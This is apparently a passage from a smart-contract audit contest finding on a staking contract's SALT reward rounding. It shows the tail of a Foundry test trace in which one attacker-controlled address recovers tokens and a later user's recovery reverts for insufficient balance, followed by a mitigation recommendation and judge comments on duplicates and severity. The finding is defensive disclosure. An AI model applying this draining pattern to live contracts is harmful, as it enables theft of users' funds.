    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) 
    │   └─ ← ()
    ├─ [28342] Staking::recoverSALT(2) 
    │   ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000003333, 100000000000000000000 [1e20]) 
    │   │   ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000003333, value: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000003333, unstakeID: 2, saltRecovered: 100000000000000000000 [1e20], expeditedUnstakeFee: 0)
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [6365] Staking::recoverSALT(3) 
    │   ├─ [756] Salt::transfer(0x0000000000000000000000000000000000001111, 100000000000000000000 [1e20]) 
    │   │   └─ ← "ERC20: transfer amount exceeds balance"
    │   └─ ← "ERC20: transfer amount exceeds balance"
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 8.18s

Tools Used

Manual review

Recommended Mitigation Steps

This attack is basically possible because the reward calculation rounds up and because it is possible to add SALT rewards without access control. From my point of view changing the reward calculation may lead to some other bugs so the best option would be adding access control to the addSALTRewards function. That way this function would be only callable by the Upkeep and would only provide a certain number of rewards periodically.

Assessed type

Math

c4-judge commented 9 months ago

Picodes marked the issue as duplicate of #223

c4-judge commented 8 months ago

Picodes marked the issue as not a duplicate

c4-judge commented 8 months ago

Picodes marked the issue as duplicate of #614

Picodes commented 8 months ago

This seems to be a dup of #614 although the root cause isn't clearly identified

c4-judge commented 8 months ago

Picodes changed the severity to 3 (High Risk)

c4-judge commented 8 months ago

Picodes marked the issue as not a duplicate

c4-judge commented 8 months ago

Picodes marked the issue as duplicate of #1021

c4-judge commented 8 months ago

Picodes changed the severity to 2 (Med Risk)

c4-judge commented 8 months ago

Picodes marked the issue as partial-50